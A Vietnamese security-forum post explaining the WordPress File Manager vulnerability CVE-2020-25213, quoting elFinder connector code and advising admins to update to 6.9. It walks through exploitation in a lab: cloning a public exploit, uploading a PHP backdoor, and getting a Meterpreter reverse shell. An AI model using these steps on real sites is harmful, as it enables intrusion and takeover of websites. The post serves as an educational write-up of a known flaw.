Khai thác lỗ hổng CVE-2020–25213 và cài đặt backdoor trên WordPress

Thảo luận trong 'Audit/Pentest Security' bắt đầu bởi DDos, 25/10/20, 11:10 AM.

  1. DDos

    DDos Administrators Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,805
    Đã được thích: 431
    Điểm thành tích:
    83
    Vào đầu tháng 9, các nhà nghiên cứu bảo mật tại Wordfence đã công bố chi tiết về một lỗ hổng ở mức độ nghiêm trọng cao trong plugin File Manager. Lỗ hổng này cho phép bất kỳ người dùng không cần xác thực có thể tải các tệp lên trang web mà không gặp bất kỳ một trở ngại nào. Bằng việc sử dụng lỗ hổng này, kẻ tấn công có thể tải các tệp độc hai như webshell, backdoor lên trang web. Được đánh số CVE-2020–25213 ảnh hưởng tới phiên bản File Manager 6.0 - 6.8, với số điểm CVSS Score: 10.00 đủ cho thấy mức độ nguy hiểm của lỗ hổng. Điều đáng nói, File Manager Plugin rất phổ biến và đã được cài đặt hơn 700.000 lần. Theo quan sát của các nhà nghiên cứu bảo mật, tin tặc đã khai thác lỗ hổng này để chiếm quyền điều khiển trang web.

    File Manager là một plugin được thiết kế để giúp quản trị viên WordPress quản lý tệp trên trang web của họ. Plugin chứa một thư viện bổ sung, elFinder, là trình quản lý tệp mã nguồn mở được thiết kế để tạo giao diện quản lý tệp đơn giản và cung cấp chức năng cốt lõi đằng sau trình quản lý tệp. File Manager đã sử dụng thư viện này theo cách không an toàn, do đó, tạo ra lỗ hổng bảo mật.

    Cốt lõi của vấn đề bắt đầu từ việc File Manager plugin đổi tên tiện ích mở rộng trên tệp tin connector.minimal.php.dist của thư viện elFinder thành .php để nó có thể được thực thi trực tiếp, ngay cả khi tệp trình kết nối không được chính File Manager plugin sử dụng. Các thư viện như vậy thường không bổ sung quyền kiểm soát truy cập và không phân quyền truy cập tới tệp, nghĩa là bất kỳ ai cũng có thể truy cập tệp. Tệp này có thể được sử dụng để bắt đầu một lệnh elFinder và được nối với tệp elFinderConnector.class.php.

    PHP:
    // run elFinder
    $connector = new elFinderConnector(new elFinder($opts));
    $connector->run();
    Bất kỳ tham số nào được gửi trong một yêu cầu tới connector.minimal.php sẽ được xử lý bởi hàm run() trong tệp elFinderConnector.class.php, bao gồm cả lệnh được cung cấp trong tham số cmd.

    PHP:
    public function run()
     {
         
    $isPost $this->reqMethod === 'POST';
         
    $src $isPost array_merge($_GET$_POST) : $_GET;
         
    $maxInputVars = (!$src || isset($src['targets'])) ? ini_get('max_input_vars') : null;
         if ((!
    $src || $maxInputVars) && $rawPostData file_get_contents('php://input')) {
             
    // for max_input_vars and supports IE XDomainRequest()
             
    $parts explode('&'$rawPostData);
             if (!
    $src || $maxInputVars count($parts)) {
                 
    $src = array();
                 foreach (
    $parts as $part) {
                     list(
    $key$value) = array_pad(explode('='$part), 2'');
                     
    $key rawurldecode($key);
                     if (
    preg_match('/^(.+?)\[([^\[\]]*)\]$/'$key$m)) {
                         
    $key $m[1];
                         
    $idx $m[2];
                         if (!isset(
    $src[$key])) {
                             
    $src[$key] = array();
                         }
                         if (
    $idx) {
                             
    $src[$key][$idx] = rawurldecode($value);
                         } else {
                             
    $src[$key][] = rawurldecode($value);
                         }
                     } else {
                         
    $src[$key] = rawurldecode($value);
                     }
                 }
                 
    $_POST $this->input_filter($src);
                 
    $_REQUEST $this->input_filter(array_merge_recursive($src$_REQUEST));
             }
         }
     
         if (isset(
    $src['targets']) && $this->elFinder->maxTargets && count($src['targets']) > $this->elFinder->maxTargets) {
             
    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_MAX_TARGTES)));
         }
     
         
    $cmd = isset($src['cmd']) ? $src['cmd'] : '';
         
    $args = array();
    Danh sách các lệnh có sẵn trong elFinder như sau.

    PHP:
    /**
      * Commands and required arguments list
      *
      * @var array
      **/
     
    protected $commands = array(
         
    'abort' => array('id' => true),
         
    'archive' => array('targets' => true'type' => true'mimes' => false'name' => false),
         
    'callback' => array('node' => true'json' => false'bind' => false'done' => false),
         
    'chmod' => array('targets' => true'mode' => true),
         
    'dim' => array('target' => true'substitute' => false),
         
    'duplicate' => array('targets' => true'suffix' => false),
         
    'editor' => array('name' => true'method' => true'args' => false),
         
    'extract' => array('target' => true'mimes' => false'makedir' => false),
         
    'file' => array('target' => true'download' => false'cpath' => false'onetime' => false),
         
    'get' => array('target' => true'conv' => false),
         
    'info' => array('targets' => true'compare' => false),
         
    'ls' => array('target' => true'mimes' => false'intersect' => false),
         
    'mkdir' => array('target' => true'name' => false'dirs' => false),
         
    'mkfile' => array('target' => true'name' => true'mimes' => false),
         
    'netmount' => array('protocol' => true'host' => true'path' => false'port' => false'user' => false'pass' => false'alias' => false'options' => false),
         
    'open' => array('target' => false'tree' => false'init' => false'mimes' => false'compare' => false),
         
    'parents' => array('target' => true'until' => false),
         
    'paste' => array('dst' => true'targets' => true'cut' => false'mimes' => false'renames' => false'hashes' => false'suffix' => false),
         
    'put' => array('target' => true'content' => '''mimes' => false'encoding' => false),
         
    'rename' => array('target' => true'name' => true'mimes' => false'targets' => false'q' => false),
         
    'resize' => array('target' => true'width' => false'height' => false'mode' => false'x' => false'y' => false'degree' => false'quality' => false'bg' => false),
         
    'rm' => array('targets' => true),
         
    'search' => array('q' => true'mimes' => false'target' => false'type' => false),
         
    'size' => array('targets' => true),
         
    'subdirs' => array('targets' => true),
         
    'tmb' => array('targets' => true),
         
    'tree' => array('target' => true),
         
    'upload' => array('target' => true'FILES' => true'mimes' => false'html' => false'upload' => false'name' => false'upload_path' => false'chunk' => false'cid' => false'node' => false'renames' => false'hashes' => false'suffix' => false'mtime' => false'overwrite' => false'contentSaveId' => false),
         
    'url' => array('target' => true'options' => false),
         
    'zipdl' => array('targets' => true'download' => false)
     );
    Do elFinder được tích hợp tính năng bảo vệ chống lại việc duyệt qua thư mục, vì vậy kẻ tấn công sẽ chỉ có khả năng thực hiện các lệnh liệt kê ở trên trong thư mục plugins /wp-file-manager/lib/files/.

    Cách khai thác lỗ hổng CVE-2020–25213

    1. Tải công cụ WP-file-manager expoit

    Mã:
    git clone https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213.git
    Screenshot 2020-10-25 102245.png
    2. Để kiểm tra một trang web có tồn tại lỗ hổng này hay không
    Screenshot 2020-10-25 102343.png
    Kết quả trả về cho thấy trang web tồn tại lỗ hổng.
    3. Tải tệp php-backdoor lên trang web
    Screenshot 2020-10-25 102525.png
    Tệp tải lên sẽ ở đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/simple-backdoor.php
    4. Backdoor đã được cài đặt trong website này, bạn có thể thực thi các lệnh tùy ý
    Screenshot 2020-10-25 102710.png

    Screenshot 2020-10-25 102731.png
    5. Nếu bạn muốn tạo một kết nối php-revershell tới trang web, bạn cần tải fille /usr/share/webshells/php/php-reverse-shell.php với lệnh ./wp-file-manager-exploit.sh --wp_url http://192.168.79.132:8080 -f /usr/share/webshells/php/php-reverse-shell.php

    Sau đó, khởi chạy Metasploit với tham số LHOST và LPORT và set PAYLOAD php/meterpreter/reverse_tcp. Truy cập vào đường dẫn http://192.168.79.132:8080/wp-content/plugins/wp-file-manager/lib/files/php-reverse-shell.php bạn sẽ nhận được một kết nối từ trang web tới máy tính của mình.
    Screenshot 2020-10-25 103521.png
    Với một session được tạo, bạn có thể thực thi các lệnh sau khai thác (post-exploitation)
    Screenshot 2020-10-25 103606.png

    Do mức độ khai thác rất dễ dàng, các quản trị viên website sử dụng plugin File Manager được khuyên cập nhật lên phiên bản 6.9 ngay lập tức.

    Tham khảo: Wordfence.com
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    ndkttl thích bài này.